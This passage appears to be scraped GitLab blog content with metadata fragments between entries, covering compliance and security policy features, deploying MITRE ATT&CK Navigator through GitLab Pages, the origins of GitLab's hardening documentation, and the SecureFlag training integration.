framework](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html) that identifies projects in GitLab that must meet defined compliance requirements, which can be enforced with [compliance pipelines](https://docs.gitlab.com/ee/user/group/compliance_pipelines.html). For example, a FinTech company can create a [default compliance framework](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html#default-compliance-frameworks) for all projects, ensuring every stage of their software development lifecycle meets the PCI DSS requirements for handling cardholder data.\n\nThese requirements are then enforced by ensuring every change introduced to the codebase is sufficiently tested automatically with GitLab's [application security features](https://docs.gitlab.com/ee/user/application_security/), which cover source code, dependencies, licenses, vulnerabilities in running application and infrastructure configurations. You can learn more about how GitLab helps you achieve PCI compliance and other [regulatory compliance](https://about.gitlab.com/solutions/continuous-software-compliance/) with compliance frameworks.\n\nThe following videos demonstrate setting up and using compliance frameworks and pipelines.\n\n**Video tutorial: Create compliance frameworks**\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/IDswzRI-8VQ\" title=\"How to setup Compliance Frameworks & Pipelines in GitLab\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n**Video tutorial: Enforce compliance pipelines**\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/jKA_e_jimoI\" title=\"GitLab Compliance Pipelines & Overriding Settings\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Security policy management\n\nSecurity and compliance teams can use GitLab to enforce compliance requirements by ensuring security scanners run in certain pipelines or require approval on merge requests when [security policies](https://docs.gitlab.com/ee/user/application_security/policies/) are violated. GitLab supports [scan execution](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html) and [scan result](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) policies. These policies are defined in a dedicated [security policy project](https://docs.gitlab.com/ee/user/application_security/policies/#security-policy-project) that separates duties between security and development teams. Security policies can be applied granularly at the group, sub-group, and project levels. The policies can be edited in rule mode, which uses the [policy editor](https://docs.gitlab.com/ee/user/application_security/policies/#policy-editor), or by yaml mode.\n\n#### Scan execution policies\nScan execution policies can be configured to run on a specified [GitLab Runner](https://docs.gitlab.com/runner/), including the following:\n-  [Static Application Security Testing](https://docs.gitlab.com/ee/user/application_security/sast/)\n- [Infrastructure as \nCode](https://docs.gitlab.com/ee/user/application_security/iac_scanning/)\n- [Dynamic Application Security Testing](https://docs.gitlab.com/ee/user/application_security/dast/)\n- [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/)\n- [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/)\n- [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) \n\nThe scan jobs can be run on schedule or anytime a pipeline runs. Compliance and security teams can use scan execution policies to periodically check on and proactively prevent vulnerability escalation as part of a vulnerability management strategy. They can also reinforce controls when new trends are observed from scan results.\n\n**Video tutorial: Set up security scan policies in GitLab**\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ZBcqGmEwORA\" title=\"How to set up security scan policies in GitLab\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n#### Scan result policies\n\nScan result policies add required review and approval for merge requests when the results of specified security scans violate the policies' rules. For example, a policy can require a security team member to take action when a newly identified critical SAST vulnerability is detected. This way, security and compliance team members can support developers while ensuring the changes introduced to the codebase are secure and meet compliance requirements.\n\n**Video tutorial: Overview of GitLab Scan Result Policies**\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/w5I9gcUgr9U\" title=\"Overview of GitLab Scan Result Policies\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n#### License approval policies\nWhen selecting scan types for scan result policy rules, you can choose between security scan, the default behavior for scan result policies, and license scan, which helps ensure license compliance. License scanning depends on the output of the [dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) [CI/CD](https://about.gitlab.com/topics/ci-cd/) job to check if identified licenses match specified criteria, then adds approval requirements before an open merge request can be merged. This is crucial to ensure that only dependencies with approved licenses are used in your organization.\n\n**Video demo: License approval policies**\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/34qBQ9t8qO8\" title=\"License Approval Policies Demo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Audit management\n#### Preparing for audits \nAudits are essential for compliance management because they allow you to understand your organization's security and compliance posture. External audits required by regulators are often detailed and exhaustive. To prepare for them, organizations need to:\n- Determine which regulations or standards will be assessed and what areas of the organization will be examined.\n- Analyze past audit results and ensure any previously identified issues have been addressed.\n- Collect all relevant policies, procedures, and records that demonstrate compliance.\n- Before the official audit, an internal audit must be performed to identify and address any potential compliance gaps.\n- Brief employees on the audit process and their roles. Conduct training if necessary.\n- Ensure all required documentation is easily accessible and well-organized.\n- Ensure all compliance-related policies and procedures are up-to-date and aligned with current regulations.\n- Verify that all technical safeguards and controls are in place and functioning correctly.\n- Identify key personnel who may be interviewed and brief them on potential questions.\n- Address known issues: If any known compliance issues exist, develop and document plans to address them.\n\nTo enable your preparedness, GitLab features: [Audit Events](https://docs.gitlab.com/ee/administration/audit_events.html) and [Compliance Center](https://docs.gitlab.com/ee/user/compliance/compliance_center/index.html) give a detailed view of an organization's compliance.\n\n#### Using GitLab audit logs effectively \n\nYou want to know every action taken on the GitLab instance with [audit events](https://docs.gitlab.com/ee/administration/audit_events.html). Audit reports allow you to track every significant event, who performed it, and when. You can also generate detailed reports from audit events using [audit reports](https://docs.gitlab.com/ee/administration/audit_reports.html), allowing you to prove your compliance to auditors or regulators.\n\n![Audit events](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098755/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098755493.png)\n\n[The compliance center](https://docs.gitlab.com/ee/user/compliance/compliance_report/index.html#compliance-violations-report) is a significant component of audit management in GitLab, giving visibility to your organization's compliance posture. Compliance reports detail every violation discovered with the [compliance violations report](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_violations_report.html) and the frameworks used by projects within your organization with the compliance [frameworks report](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_frameworks_report.html).\n\n![Meet regulatory requirements - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098756/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098755493.png)\n\n\u003Ccenter>\u003Ci>Example of a compliance violations report from a parent GitLab group.\u003C/i>\u003C/center>\n\n![Meet regulatory requirements - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098755/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098755495.png)\n\n\u003Ccenter>\u003Ci>Example of a compliance framework report for all projects in a group\u003C/i>\u003C/center>\n\n#### Audit events streaming\nMost organizations have existing systems to monitor activities in their systems in real-time. With [audit events streaming](https://docs.gitlab.com/ee/administration/audit_event_streaming/index.html) on GitLab, you can integrate third-party solutions like Splunk infrastructure monitoring or DataDog streams monitoring service for real-time audit events analytics. All audit events data are sent to the streaming destination (it's essential to stream to a trusted service). Audit events streaming can be [configured at top-level groups](https://docs.gitlab.com/ee/administration/audit_event_streaming/index.html#top-level-group-streaming-destinations) and at the [instance level](https://docs.gitlab.com/ee/administration/audit_event_streaming/#instance-streaming-destinations) for self-managed GitLab instances.\n\n## Best practices for compliance management \n\nHere are some best practices for effective compliance management:\n- Establish a strong compliance culture that promotes organizational compliance awareness and ensures leadership commitment and support.\n- Develop a comprehensive compliance program with clear policies and procedures and regularly review the program to reflect regulation changes.\n- Implement risk assessment and management to regularly identify and assess compliance risks, prioritizing risks based on potential impact and likelihood.\n- Conduct regular compliance training tailored to specific roles and responsibilities for all employees.\n- Implement compliance management to automate compliance monitoring and compliance reporting where possible.\n- Perform internal audits to identify gaps and areas for improvement. It is also essential to consider external audits unbiasedly and use audit results to refine and improve compliance processes.\n- Stay informed about regulatory changes by assigning responsibility for monitoring regulatory updates and participating in industry associations and forums.\n- Integrate compliance into business processes, embed compliance checks into operational workflows, and consider compliance implications in strategic decision-making. Align compliance goals with business objectives\n- Develop response plans for potential compliance breaches and conduct mock scenarios to test readiness for incidents and violations.\n\n## Learn more\nCompliance is a continuous process of efficiently managing risk by implementing guardrails and monitoring compliance metrics. GitLab empowers organizations to fulfill regulatory standards with our [compliance management](https://about.gitlab.com/solutions/compliance/) features. With GitLab, you can improve the software supply chain experience, build more secure software faster, and maintain the trust of your users, clients, and community.\n\n> Learn more about compliance and security policy management with the [GitLab DevSecOps tutorial](https://gitlab-da.gitlab.io/tutorials/security-and-governance/devsecops/simply-vulnerable-notes/), which contains lessons covering the complete application security lifecycle in GitLab.\n\n## Read more\n- [Introducing GitLab Dedicated for Government](https://about.gitlab.com/blog/introducing-gitlab-dedicated-for-government/)\n- [How to ensure separation of duties and enforce compliance with GitLab](https://about.gitlab.com/blog/ensuring-compliance/)\n- [The ultimate guide to least privilege access with GitLab](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/)",[776,479,14,184],"2024-08-22",{"slug":2753,"featured":6,"template":677},"meet-regulatory-standards-with-gitlab","content:en-us:blog:meet-regulatory-standards-with-gitlab.yml","Meet Regulatory Standards With Gitlab","en-us/blog/meet-regulatory-standards-with-gitlab.yml","en-us/blog/meet-regulatory-standards-with-gitlab",{"_path":2759,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2760,"content":2765,"config":2770,"_id":2772,"_type":16,"title":2773,"_source":17,"_file":2774,"_stem":2775,"_extension":20},"/en-us/blog/gitlab-mitre-attack-navigator",{"title":2761,"description":2762,"ogTitle":2761,"ogDescription":2762,"noIndex":6,"ogImage":1483,"ogUrl":2763,"ogSiteName":767,"ogType":768,"canonicalUrls":2763,"schema":2764},"Use GitLab and MITRE ATT&CK Navigator to visualize adversary techniques","This tutorial helps build and deploy a customized version of MITRE's ATT&CK Navigator using GitLab CI/CD and GitLab Pages.","https://about.gitlab.com/blog/gitlab-mitre-attack-navigator","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Use GitLab and MITRE ATT&CK Navigator to visualize adversary techniques\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Moberly\"}],\n        \"datePublished\": \"2023-08-09\",\n      }",{"title":2761,"description":2762,"authors":2766,"heroImage":1483,"date":2767,"body":2768,"category":14,"tags":2769},[994],"2023-08-09","\nIf you use [MITRE ATT&CK](https://attack.mitre.org/) for classifying cybersecurity incidents, you may want to visualize your coverage across a matrix. This blog will show you how to do this automatically with GitLab by deploying the [ATT&CK Navigator](https://github.com/mitre-attack/attack-navigator) web application pre-populated with your own annotated matrices.\n\nWe make this easy by providing a fully working [example project](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gitlab-hosted-attack-navigator) for you to fork and customize. When you're finished, you'll have an interactive visualization tool that displays your coverage of techniques across the ATT&CK framework.\n\n![Image showing ATT&CK Navigator deployed from example project](https://about.gitlab.com/images/blogimages/2023-08-15-gitlab-mitre-attack-navigator/navigator-portal.png)\nATT&CK Navigator deployed from our example project\n{: .note.text-center}\n\n## About MITRE ATT&CK framework\nMITRE ATT&CK is a framework to classify and describe cybersecurity attacks based on real-world observations. It provides a common language that can be used by different groups inside a security organization to collaborate on security initiatives.\n\nFor example, when a company's Red Team emulates an attack based on the techniques of a relevant adversary, they deliver a report that includes a list of the specific technique IDs involved in the exercise. The team in charge of detecting and responding to these attacks can use those IDs to research and implement improved defensive capabilities.\n\nBoth of these groups may want to track their coverage of offensive and defensive capabilities across one of [MITRE's ATT&CK matrices](https://attack.mitre.org/matrices/enterprise/). These matrices are charts that visualize attack tactics and techniques relevant to specific industries and technologies. For example, a company like GitLab may be interested in understanding which techniques in the [Cloud matrix](https://attack.mitre.org/matrices/enterprise/cloud/) we have emulated to test our detection and response capabilities.\n\nMITRE provides a free interactive web application, ATT&CK Navigator, to visualize, annotate, and explore these matrices.\n\nAt GitLab, [our Red Team](https://about.gitlab.com/handbook/security/threat-management/red-team/) produces a new Navigator matrix at the completion of each operation. The matrix highlights which attack techniques we've conducted. We find it useful to view all of these matrices in a single location, with the addition of a combined matrix showing all of the techniques we have conducted across all historical operations. This helps us understand trends and identify potential gaps to cover in future operations.\n\n## Fork our example project to get started\nYou can fork our example project to get going on your own. First, you will need an account on [GitLab.com](https://gitlab.com), or on a self-hosted instance [with GitLab Pages enabled](https://docs.gitlab.com/ee/administration/pages/).\n\nNext, browse to [our example project](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gitlab-hosted-attack-navigator) and click on the \"Forks\" button to create a new fork. Fill in the form shown below by choosing a name, location, and description for your copy of the project. You may wish to change \"Visibility level\" to \"Private,\" which will require authentication to view your deployed application.\n\n![Example project showing where to click on the Forks button](https://about.gitlab.com/images/blogimages/2023-08-15-gitlab-mitre-attack-navigator/fork-project.png)\n\nAfter that, take a look inside the `layers/` folder of your new project. Each file in this folder will be used to pre-populate a new tab in the deployed web application where the listed attack techniques are annotated in green. We provide two example files, as well as an empty template file inside `templates/template.yml`.\n\nTemplates should list specific MITRE ATT&CK \"technique\" IDs as bullets below their corresponding MITRE ATT&CK tactic. You only need to include the tactics for which you will add techniques. Here is a short example of techniques across four tactics:\n\n```yaml\nname: Operation 1\ndescription: Example of a Red Team operation - not real data\ntechniques:\n  initial-access:\n    - T1190\n  privilege-escalation:\n    - T1611\n    - T1055\n  lateral-movement:\n    - T1210\n    - T1021\n  exfiltration:\n    - T1041\n```\n\nYou can edit the example files or delete them and add new files of your own.\n\nThe next step is to build and deploy the web application. If you made any changes to the `layers/` folder inside your default branch, this build process should have started automatically. If you just want to deploy the application using the provided sample data, browse to \"Build\" -\\> \"Pipelines\" using the project's sidebar and click the \"Run pipeline\" button.\n\n![Image showing how to build and deploy app with run pipeline button](https://about.gitlab.com/images/blogimages/2023-08-15-gitlab-mitre-attack-navigator/run-pipeline.png)\n\n\nYou can check to see if a pipeline has completed successfully by browsing to \"Build\" -\\> \"Jobs\" in the sidebar. There should be at least two jobs with a status of \"passed\" - one named `build_navigator` and one named `pages`.\n\nOnce both jobs are complete, browse to \"Deploy\" -\\> \"Pages\" in the project's sidebar. Check the \"Use unique domain\" box and click the \"Save changes\" button.\n\n![Image showing complete jobs with save changes button](https://about.gitlab.com/images/blogimages/2023-08-15-gitlab-mitre-attack-navigator/pages-settings.png)\n\n\nThat's it! Your application should now be accessible using the URL provided under \"Access pages\" on the same page.\n\n## How the example project works\nThere are three main components inside the example project:\n- The `gitlab-ci.yml` file. This defines what jobs run, and when they run. The file contains rules to automatically run the jobs whenever you push changes to the `layers/` folder inside the project's default branch, or whenever you manually run a pipeline as described above.\n- The `create-layers.py` file. This Python script takes the custom YAML files you provide, and then generates individual and combined JSON files in the format that ATT&CK Navigator expects. You can customize this file to change the annotation color (`HIGHLIGHT_COLOR`) as well as some of the application defaults (`JSON_BLOB`). In our internal version, for example, we remove some of the platform filters that don't apply to us.\n- The `build-navigator.sh` file. The shell script is responsible for downloading the ATT&CK Navigator application, injecting the custom layers we create, and building the application. The output is a static website that we then host using GitLab Pages.\n\n## More features of the ATT&CK Navigator app\nOnce deployed, the application is interactive. This blog focuses on using a colored annotation to visualize coverage, but the [application is capable of much more](https://github.com/mitre-attack/attack-navigator/blob/master/USAGE.md).\n\nHere are some features we use often:\n- In the \"layer controls\" bar up top, click on the button that looks like an asterisk surrounded by up and down arrows. The name is \"expand annotated sub-techniques.\" This will ensure that all techniques in your YAML file are easily viewable, as subtechniques may be hidden away when the matrix first loads.\n- If you want to hide all unannotated techniques, click anywhere in the matrix and select \"select unannotated.\" Then, under \"technique controls,\" click on the \"toggle state\" button. This will give you a much cleaner matrix, showing only the specific techniques you've provided in your custom YAML files.\n\n![ATT&CK Navigator with unannotated techniques hidden](https://about.gitlab.com/images/blogimages/2023-08-15-gitlab-mitre-attack-navigator/navigator-collapsed.png)\nATT&CK Navigator with unannotated techniques hidden\n{: .note.text-center}\n\nATT&CK is not a bingo card, and for most organizations the goal shouldn't be to have green squares across the board. Instead, you should use this to understand your own coverage and how it relates to the threats most relevant to you.\n\n## Share your feedback\nMITRE ATT&CK Navigator is a great tool for visualizing coverage of attack techniques across a matrix. Using our example project, you can easily deploy an automated solution that builds this tool and pre-populates it with your own data.\n\nOn our Red Team, we love to find creative use cases for GitLab, and this is one we use ourselves. If you find this useful, or if you have any ideas to improve it, we would love to hear from you! Feel free to open an issue or a merge request inside our [example project](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gitlab-hosted-attack-navigator).\n",[14,958,696,110],{"slug":2771,"featured":6,"template":677},"gitlab-mitre-attack-navigator","content:en-us:blog:gitlab-mitre-attack-navigator.yml","Gitlab Mitre Attack Navigator","en-us/blog/gitlab-mitre-attack-navigator.yml","en-us/blog/gitlab-mitre-attack-navigator",{"_path":2777,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2778,"content":2783,"config":2788,"_id":2790,"_type":16,"title":2791,"_source":17,"_file":2792,"_stem":2793,"_extension":20},"/en-us/blog/gitlab-security-hardening-documentation",{"title":2779,"description":2780,"ogTitle":2779,"ogDescription":2780,"noIndex":6,"ogImage":1483,"ogUrl":2781,"ogSiteName":767,"ogType":768,"canonicalUrls":2781,"schema":2782},"The backstory on GitLab's security hardening documentation","GitLab has detailed documentation about how to harden your instance, now as a part of GitLab itself. Here's how it came to be.","https://about.gitlab.com/blog/gitlab-security-hardening-documentation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The backstory on GitLab's security hardening documentation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2023-08-01\",\n      }",{"title":2779,"description":2780,"authors":2784,"heroImage":1483,"date":2785,"body":2786,"category":14,"tags":2787},[1909],"2023-08-01","\nRecently, my fellow Security team member [Ayoub Fandi](https://gitlab.com/ayofan) released an excellent blog post entitled “[How to harden your self-managed GitLab instance](https://about.gitlab.com/blog/how-to-harden-your-self-managed-gitlab-instance/),” which featured seven steps for helping to lock down your environment. Ayoub’s blog post was based, in part, on early drafts of research into hardening I had been working on. I had no idea how long it would take me to reach a point where I could finally say this, but those original drafts are now a [part of GitLab documentation](https://docs.gitlab.com/ee/security/hardening.html).\n\n## Hardening your GitLab instance\nThe goal of the hardening documentation is for DevSecOps teams to be able to apply security controls and make sure your data and your GitLab instance are protected.\n\nHere's what I will cover:\n- the origins of the hardening documentation\n- field research, including a few attack scenarios\n- bringing an instance online\n- insight into when to use hardening, specifically how to do a bit of threat modeling and get the basics sorted before diving deep into full hardening \n\n## Origins of the hardening documentation\nThe idea for creating extensive hardening documentation started with a blog post I wrote three years ago called “[GitLab instance: Security best practices](https://about.gitlab.com/blog/gitlab-instance-security-best-practices/).\" This became a rather popular reference for GitLab customers asking about securing their self-managed instance (and even a SaaS deployment).\n\nAs I participated in other security efforts around Gitlab, such as [FedRAMP certification](https://about.gitlab.com/handbook/security/security-assurance/dedicated-compliance/fedramp-compliance.html), [compliance requirements](https://about.gitlab.com/handbook/security/security-assurance/security-compliance/certifications.html), and general [security concerns](https://about.gitlab.com/handbook/security/), I realized we needed more support materials focused on the \"Sec\" in DevSecOps.\n\nThe hardening project was born from this -  based largely off of an instance I had loaded up in 2020 and was using at home. During all of this time, from 2020 until now, I took notes, performed tests, had hacker friends and work colleagues poke and prod at this home system, and, then took even more notes. No doubt, the information I learned would be a huge benefit to GitLab users so I opted to create recommendations that could be updated frequently and accessible directly from a GitLab instance via the Help menu. \n\n## Field research\nI've been a security professional for well over a couple of decades and have had my own domain online since 1997, using five static IP addresses in my house. This deployment includes web services, a Mastodon instance, and a mail server. These systems have been used by a few close hacker friends during this time as a testbed, a place to converse and exchange ideas, and a great educational environment. A few years ago, I thought it would be fun for this group to have its own private GitLab instance called [Blackhole](https://blackhole.nmrc.org/). We could work on coding projects together, collaborate, and, since I worked at GitLab, I could use it for testing of a standalone instance for certain work-inspired issues.\n\nHaving live servers up with dedicated and static IP addresses means that, yes, these servers are under pretty much constant attack. Because of this clustering of security friends on these systems, we’ve even been targeted by more sophisticated attackers, up to and including nation states. A perfect test environment for real-world attack scenarios.\n\n### Attack scenarios\nLike many in the security field, over the years I’ve seen a number of attacks firsthand, so I made a list of things I needed for hardening against attacks. After doing some [threat modeling](https://about.gitlab.com/handbook/security/threat_modeling/), I noted the following three areas of concern:\n1. **Opportunistic intruders (okay, who am I kidding, [script kiddies](https://www.techtarget.com/searchsecurity/definition/script-kiddy-or-script-kiddie)).** These types of attacks are typically composed of easy-to-use scripts against known vulnerable applications. This has happened to me. Within five minutes of installation of an odd web-based application, while still reading the documentation and wondering if the apparently vulnerable software was actually working, it was compromised. So I had to assume immediate attacks would happen if I loaded this up on a live system exposed to the open internet.\n2. **Layered or chained attacks.** This is when an attacker takes advantage of a particular sub-component that is exposed to the internet, and while the sub-component might not allow for full system access, it could allow for access to another sub-component with access to data. I was determined to disable or secure as much as possible, leaving as few exposed ports or running services as possible.\n3. **Advanced persistent threat ([APT](https://en.wikipedia.org/wiki/Advanced_persistent_threat)) attackers.** They have repeatedly gone after my former employers, and as they learned who their employees were, home systems would become targets, and [mine were no exception](https://www.markloveless.net/blog/2021/6/8/advancing-persistently-against-apt). To this day, I receive an APT attack attempt every few months. Knowing that one tactic of APT attackers is supply chain attacks, having a DevSecOps platform shared by hackers could be seen as a delicious target, so security had to be top of mind.\n\n## Bringing an instance online\nAs I installed Blackhole, I first configured the firewall at the operating system level to close off all of the ports from public access, only allowing access from my internal network. As a rule, my perimeter router allows all traffic in for those five static IP addresses, with each system following strict firewall rules using the operating system’s firewall capabilities. Most of these five systems cannot even talk to each other, or only have the bare minimum connectivity configured to enable functionality. As I was monitoring traffic to my public systems via my perimeter router, in less than 10 minutes, I started seeing port scans against Blackhole’s IP address, well before it had even finished installation of the Linux operating system. I was glad the firewall was up and running from the start.\n\nAs GitLab was installed and Blackhole came up in its state as a GitLab instance, I started going through the various settings and making sure that things were locked down as tight as possible. Anything I wasn’t using was disabled. This applied to the underlying operating system as well as the GitLab software itself. When I felt good enough about it, I adjusted the firewall settings to open things up ever so slightly, and the system has been under near constant attack since.\n\n## When to use the hardening documentation\nGitLab is a comprehensive DevSecOps platform that can handle all kinds of security scenarios. GitLab the company uses the product to not only develop the platform, but we also run the company off of it. The feature-rich platform can be configured in many different ways. Keeping that in mind, note that one setup might be set up to be more secure than another simply because of the environment it needs to be included in. There are drastically different configuration choices for an environment that is publicly accessible vs. one that is only accessible from employee workstations, or  a large enterprise with employees located on multiple continents vs. a small business' single server deployment.\n\nHardening, therefore, is dependent on your unique environment, and requires you to understand the threats you need to mitigate against, and account for any regulatory and compliance requirements to which you must adhere. However, there are a few common steps that can lead you through the process.\n\n### Start with the basics\nThe first recommendation is to start with a few basics. Make sure you have some ground rules established in your organization such as password standards, software upgrade schedules, and compliance requirements. This will make it easier as you move through the process. Understand the threats your organization has faced in the past, and the potential threats you could face in the future. I wrote a blog post on [threat modeling](https://about.gitlab.com/handbook/security/threat_modeling/) and [we use it internally](https://about.gitlab.com/handbook/security/threat_modeling/howto.html) as well.\n\n### Full hardening\nI’d recommend reading [Ayoub’s blog post](https://about.gitlab.com/blog/how-to-harden-your-self-managed-gitlab-instance ) and follow the seven steps he puts forward. In many cases, after you’ve finished Ayoub’s blog post you will have enough to meet your security needs right there. If you need more, delve into the [hardening recommendations documentation](https://docs.gitlab.com/ee/security/hardening.html). Adapt it as needed to meet your organization’s security demands, and explore the possibilities to increase the security of your environment. Note that these recommendations are not limited to just GitLab settings, but also includes a few recommendations for the underlying operating system itself.\n\n### Share your feedback\nIf you have ideas for more security tips and tricks or questions regarding the hardening documentation, please open an issue on GitLab. We’d love to hear from you and welcome feedback and contributions! And if you want to learn more about how we do security at GitLab, review the [security section](https://about.gitlab.com/handbook/security/) of the handbook.\n",[14,2286,776],{"slug":2789,"featured":6,"template":677},"gitlab-security-hardening-documentation","content:en-us:blog:gitlab-security-hardening-documentation.yml","Gitlab Security Hardening Documentation","en-us/blog/gitlab-security-hardening-documentation.yml","en-us/blog/gitlab-security-hardening-documentation",{"_path":2795,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2796,"content":2802,"config":2808,"_id":2810,"_type":16,"title":2811,"_source":17,"_file":2812,"_stem":2813,"_extension":20},"/en-us/blog/secureflag-integrated-with-gitlab-for-rapid-vulnerability-remediation",{"title":2797,"description":2798,"ogTitle":2797,"ogDescription":2798,"noIndex":6,"ogImage":2799,"ogUrl":2800,"ogSiteName":767,"ogType":768,"canonicalUrls":2800,"schema":2801},"SecureFlag integrated with GitLab for rapid vulnerability remediation","Empower developers with hands-on security training within the DevSecOps platform.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679321/Blog/Hero%20Images/cover_image_secureflag.png","https://about.gitlab.com/blog/secureflag-integrated-with-gitlab-for-rapid-vulnerability-remediation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"SecureFlag integrated with GitLab for rapid vulnerability remediation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Alana Bellucci\"}],\n        \"datePublished\": \"2023-06-29\",\n      }",{"title":2797,"description":2798,"authors":2803,"heroImage":2799,"date":2805,"body":2806,"category":14,"tags":2807},[2804],"Alana Bellucci","2023-06-29","\n\nAs part of our commitment to developer-led security, GitLab has integrated SecureFlag's vulnerability remediation training for developers into the DevSecOps platform. [SecureFlag’s training](https://www.secureflag.com/solutions?utm_source=blog&utm_medium=organic&utm_campaign=GitLab+blog) is unique as it offers labs where developers can learn to remediate vulnerabilities in a live environment. \n\nOften, organizations attempt to address vulnerabilities by referring to incomplete or misleading advice. This not only hinders the remediation process, but might lead to additional insecure applications and increased risk. With the SecureFlag integration with GitLab, organizations can continue to shift security left in the software development lifecycle, gaining more insight, oversight, and control of their assets, processes, and overall security posture. Real-time access to vulnerability information ensures consistent, up-to-date, and trustworthy guidance and documentation for tackling the remediation of security findings.\n\nWhen developers receive GitLab vulnerability scan results on the DevSecOps platform, SecureFlag provides a clear understanding of the identified vulnerabilities, indicates the best way to remediate them, and presents hands-on labs for practice.\n\n## How the SecureFlag-GitLab integration works\nGitLab's security scanners detect vulnerabilities when merging to a default branch. These vulnerabilities surface in the merge request and pipeline or in the Vulnerability Report. Once a vulnerability is identified, SecureFlag integration steps in to streamline the vulnerability remediation process. Using the information provided in the vulnerability details, SecureFlag generates a link to a training resource for the developer, which provides guidance throughout the remediation of that specific security problem.\n\n![Developer Workflow](https://about.gitlab.com/images/blogimages/2023-06-15-empowering-developers-via-GitLab-integrating-SecureFlag-for-rapid-vulnerability-remediation/developer-workflow.png){: .shadow}\n\n\nBy clicking on the link, developers are led to a knowledge base article that illustrates, with code examples, how to address a vulnerability in the specific programming language. Moreover, they can start a hands-on lab in a few seconds and practice their remediation skills before diving into the actual work. This level of preparedness has enabled organizations to significantly decrease the number of security retests, as developers now know exactly what to do and are often able to fix the issue on their first attempt.\n\n![SecureFlag SQL Injection Page](https://about.gitlab.com/images/blogimages/2023-06-15-empowering-developers-via-GitLab-integrating-SecureFlag-for-rapid-vulnerability-remediation/secureflag-knowledge-base.png){: .shadow}\n\n\n## SecureFlag's hands-on labs\nSecureFlag’s hands-on labs stand out as a powerful learning tool for developers. Labs comprise a complete virtualized desktop computer with a real development environment unique to the programming language in question. Labs are spun up in seconds and are designed to facilitate effective and engaging training experiences with the goal of maximizing retention.\n\n![SecureFlag Lab](https://about.gitlab.com/images/blogimages/2023-06-15-empowering-developers-via-GitLab-integrating-SecureFlag-for-rapid-vulnerability-remediation/secureflag-lab.gif){: .shadow}\n\n\nSecureFlag labs feature:\n- support for over 45+ technologies\n- multiple difficulty levels and scenarios for each vulnerability\n- gamified learning with points, trophies, and certifications\n- adaptive training based on previous results\n\n## How to install and configure SecureFlag training on GitLab\nSecureFlag training is available to all GitLab Ultimate customers and can be enabled for any project. Additional details can be found [here](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#enable-security-training-for-vulnerabilities).\n![Security Training Settings](https://about.gitlab.com/images/blogimages/2023-06-15-empowering-developers-via-GitLab-integrating-SecureFlag-for-rapid-vulnerability-remediation/security-training-settings.png){: .shadow}\n\n\nOnce installed, you can view the results from a GitLab security scan (including GitLab’s integration partners) in a merge request, the pipeline security tab, or a vulnerability details page. When you open a vulnerability record, you will see a direct link to the training. GitLab then pulls a training module from SecureFlag that best matches the specific security issue and the appropriate language or framework in which it was detected.\n\nThe integration of SecureFlag within GitLab enhances the robustness of an organization's security strategy by enabling a proactive, developer-led security approach. The training material and hands-on labs ensure that developers are well-equipped to handle any identified vulnerabilities, thus reducing remediation time and increasing your overall project security.\n",[14,776,695,715],{"slug":2809,"featured":6,"template":677},"secureflag-integrated-with-gitlab-for-rapid-vulnerability-remediation","content:en-us:blog:secureflag-integrated-with-gitlab-for-rapid-vulnerability-remediation.yml","Secureflag Integrated With Gitlab For Rapid Vulnerability 